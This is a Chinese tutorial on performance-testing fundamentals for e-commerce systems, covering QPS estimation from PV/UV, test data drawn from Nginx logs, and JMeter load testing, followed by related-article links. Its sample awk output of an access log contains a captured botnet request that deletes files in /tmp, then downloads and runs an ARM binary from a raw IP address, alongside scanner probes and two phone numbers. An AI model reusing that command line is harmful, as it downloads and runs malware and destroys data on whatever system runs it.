原标题:实战 | 电商业务的性能测试(一): 必备基础知识

1. 测试步骤及模型分析

1.1 测试步骤总览

需求分析与测试设计(性能需求目标+业务模型拆解)

测试数据准备和构造(基于模型的数据准备)

性能指标预期(性能需求目标)

发压工具配置及脚本编写(压力策略)

测试过程(预计的前置准备过程和压测时间点规划)

结果分析与测试报告

1.2 测试模型分析

如下的测试模型来简单的说明测试中需要关注的点和测试的目的

字段说明

1、横轴 :代表并发数,也就对应着Jmeter里面的线程数

2、Utizilation(U) :资源利用率

3、Throughput(X):吞吐量,对应QPS或TPS

4、ResponseTime®:响应时间

拐点分析:

第一条虚线处的拐点代表着随着并发数的增加,资源利用率(CPU资源等)和吞吐量也在伴随着递增, 这个时候我们的响应时间有小幅度的增加,但是在可接受的范围之内;在这个点是做容量规划最好的参考点

第二条虚线处的拐点表示随着并发数的继续增加,系统资源已经到达了瓶颈,吞吐量开始明显下降,响应时间会大幅增加,也就是说已经到达了性能的瓶颈,请求队列开始挤压,这个时候已经严重影响用户体验或者有系统崩溃的风险。

2. 步骤分析

2.1 需求分析与测试设计

此处从性能需求目标与业务模型拆解两方面着手。

1、目标场景分类:

新上线系统性能测试:要求容量测试,系统最大容量

系统升级类性能测试:和基线版本对比,性能不下降

新系统性能优化测试:伴随调优目标的性能测试

注:在后面的演示中,会以新系统上线的容量测试为例,目标为获取系统最大容量

字段说明:

基准测试:见下图,我的理解就是性能测试,找到最优的QPS(TPS)点

容量测试:见下图,我的理解为压力测试,在达到性能瓶颈后继续加压,测试系统的最大承载量

新系统想要确定测试基准,就需要拿到数据,而产品一般是不会直接告诉我们QPS的,产品会告诉我们 PV/UV 天。

根据 PV、UV 再结合业务场景来计算确认我们的测试需求;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,比如工作日的8个小时时间:

UV:或者外卖产品则集中在午饭和晚饭的2个小时时间段,假如UV为1000w/天,那么高峰时段占了总用户数的80%:

1000w * 80% / (4*3600) = 每秒的并发用户数

PV:PV可以直接对应到QPS指标,好比一个电商产品,产品分别给出了首页、商品页、订单页的PV,便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600

2、根据具体的性能测试需求,确定测试类型以及压测的模块(web/mysql/redis/系统整体)

3、前期要与相关人员充分沟通,初步确定压测方案及具体性能指标

4、QA完成性能测试设计后,需产出测试方案文档发送邮件到项目组,并且再次与相关人员沟通(或者组织性能测试评审),确认是否满足需求

2.2、测试数据准备和构造

数据的准备可以如下几点:

1、接口请求参数:自己构造、日志获取、上下关联

自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响

日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散

例如,我们的请求是通过Nginx转发的,那么可以通过Nginx的日志来获取请求数据,现有如下的log:

现在我们可以利用Linux三剑客中的awk命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求:

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -154709 /sso/register4703 /sso/login157 400139 / 8 http://www.baidu.com/cache/global/img/gs.gif 5 /index.php 4 mstshash=Administr" 4 /license.txt 4 ip.ws.126.net:443 4 " 2 /sso/getAuthCode?telephone=17138134641 2 /sso/getAuthCode?telephone=17127460936 2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 2 /robots.txt 2 /phpmyadmin/

上下关联:

有些数据我们是无法提前获取的,好比用户的订单数据和购物车数据,这些需要用户下单后生成,因此就需要在下单接口后通过上下关联的接口返回值来获取

2、数据表的数据填充:

可以利用jmeter的高并发通过接口来提前创建数据

3、如果是多接口,则需要结合业务场景设计请求比例:

比如用户浏览主页的PV和浏览商户的比例为1:2,那么接口的比例设计也就按照1:2来设计。

2.3、性能指标预期

1.每秒请求数(QPS)

2.请求响应时间(最大,最小,平均值)

3.错误率

4.机器性能:cpu idel30%,memory无剧烈抖动或飙升

5.压测过程接口功能是否正常

6.不同性能测试方式下指标预期是否有差异

2.4、发压工具配置及脚本编写

1.发压工具准备-jmeter简介

(1) 集成包,解压即可使用,Windowns, Linux, Mac通用(依赖Java环境)

(2) jmx文件为xml文件,Win,Linux环境均可运行

(3) 多线程并发

(4) 运行完脚本会生成jtl日志,可在Win、Mac环境界面中查看、统计

使用jmeter可以做到:

压测场景:单接口/复杂事物——>场景构造

压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式

是否周期性:Jmeter jmx场景文件,数据驱动,结果落库

二次开发需求:Jmeter开源插件化思想,支持Thrift

协议支持:Dubbo等多种协议,可以快速平台化

问题支持:开放社区,广泛使用

2.脚本编写

(1) HTTP

(2) 其他

3.命令启动,Jmeter 本身也是软件,也有自己的承载限制,所以真正测试过程还是要以命令行运行的方式,UI 可以作为编写和调试脚本使用

启压:./jmeter -n -t hb.jmx-l hb.jtl

2.5 测试过程

1、测试前环境检查:记录机器参数

2、起压:根据被压情况,调节并发量到合适情况

3、查看记录各项性能指标

nginx日志查看每秒请求数

查看nginx错误请求

查看机器参数:cpu idel、mem等

查看db、cache等数据是否写入正常

访问接口,查看功能是否正常

2.6 结果分析与测试报告

1、根据测试过程中记录的各项参数,结合压测工具产生的日志,对测试结果进行分析,并产出测试报告

2、测试完成后,及时与相关人员沟通,确认是都满足需求

3、发送测试报告邮件

以上只是做了个性能测试的基础知识铺垫,后续在此理论基础上,以电商业务为背景,结合Docker+Jmeter+Influx+Grafana 完成一个实例压测与监控~

(文章来源于霍格沃兹测试学院)返回搜狐,查看更多

责任编辑:

电商软件性能测试,实战 | 电商业务的性能测试(一): 必备基础知识相关推荐

  1. 记一次淘宝开放平台开通电商软件服务商ISV

    收到需求,需要获取淘宝卖家交易记录,文档地址https://open.taobao.com/api.htm?docId=46&docType=2#commponParams 接口为taobao ...

  2. SaaSBase:最受欢迎的跨境电商软件有哪些(下篇)

    在海量的跨境电商软件中,企业该如何选择呢?不用担心,SaaSBase(saasbase.cn)来帮您! 根据SaaSBase(saasbase.cn)的数据统计,受欢迎的跨境电商软件数量较多,故小编把 ...

  3. SaaSBase:最受欢迎的跨境电商软件有哪些(中篇)

    在海量的跨境电商软件中,企业该如何选择呢?不用担心,SaaSBase(saasbase.cn)来帮您! 根据SaaSBase(saasbase.cn)的数据统计,受欢迎的跨境电商软件数量较多,故小编将 ...

  4. 有肉电商软件究竟是做什么的?

    火眼金睛选品: 做某宝无货源店铺最大的痛点就是违规侵权,封店,店铺没有销量, 有时候好不容易选了一款产品,自己觉得挺好,谁知道上去没多久,还没有出单,就已经侵权了,严重的直接封店!所以说咱们没有货源还 ...

  5. 电商软件开发公司排名

    电商软件开发公司排名 1 北京华盛恒辉软件开发公司 2 北京五木恒润科技有限公司 3 北京平步科技有限公司 4 航天信息股份有限公司 5 北电网络nortel 6 北京朗新 7 北京科思诚科技有限公司 ...

  6. 国内电商软件开发公司有哪些

    国内电商软件开发公司有哪些 1 北京华盛恒辉软件开发公司 2 北京五木恒润科技有限公司 3 海信集团有限公司 4 UT斯达康通讯有限公司 5 海尔集团公司 6 神州数码(中国)有限公司 7 浙江浙大网 ...

  7. 关于电商软件市场的格局点评

    目前国内电商软件很多.但是存活5年以上的,并且已经打开局面的,还是比较少的.而且从发展中,每家都有了自己的侧重点.这说明这个市场的蛋糕很大,同样,细分的其实也很多元. 对于ShopNC而言,主攻市场基 ...

  8. 直播电商软件开发,简单的单例模式

    直播电商软件开发,简单的单例模式相关的代码 public class Instance {private static Instance instance;private Instance() {}p ...

  9. 直播电商软件开发,实现窗体抖动

    直播电商软件开发,实现窗体抖动相关的代码 public class Shake {/// <summary>/// 震动方法/// </summary>/// <para ...

最新文章

  1. Hadoop日记Day7---HDFS的WED端口
  2. 一套完整的防火墙系统通常是由屏蔽路由器和代理服务器组成
  3. Java项目目录结构与解析
  4. linux桌面系统ping在哪,Linux系统ping命令那些不为人知的选项
  5. 电销机器人价格_箭鱼电销机器人:为什么电话机器人公司不用机器人给你打电话?...
  6. leetcode213. 打家劫舍 II
  7. c语言存储结构的实现,(C语言)栈的链式存储结构的实现
  8. ctrl c 失效了_[安卓+PC双端]超C女仆无馬中字
  9. SQL Server 执行计划利用统计信息对数据行的预估原理二(为什么复合索引列顺序会影响到执行计划对数据行的预估)...
  10. git clone github源码 下载速度很慢的解决方法
  11. http 二进制_图解 HTTP 的前世今生!
  12. LAMP YUM安装配置实战
  13. javaWeb中的分页处理思想
  14. mine 规范_模型规范要求
  15. STM32 HAL I2C读取HMC5883L磁偏角的实践
  16. 用 python 来操作 docx(使用 docx 库操作 docx 格式文件)
  17. pytorch 画loss曲线_Python练习绘制损失曲线,Pytorch,Loss
  18. Startssl 现在就启用 HTTPS,免费的!
  19. 青龙魔改助力,突破45ck上限
  20. 安全网络通信(SSLJSSE)

热门文章

  1. Qt 编译动态库只生成dll没有lib文件
  2. 华为云FusionInsight让大数据发挥更大价值
  3. 蓝桥杯刷题冲刺 | 倒计时26天
  4. CNN (吴恩达 2021
  5. 污水处理厂实验室之化验室通风设计
  6. C语言全局变量(c文件和h文件中的全局变量、静态全局变量)使用注意事项
  7. [转]什么样的女人才是老婆
  8. 【三】K8s安装-Harbor搭建
  9. 使用Jquery完成动态表格的功能
  10. Java考试案例-列出101至200之间的质数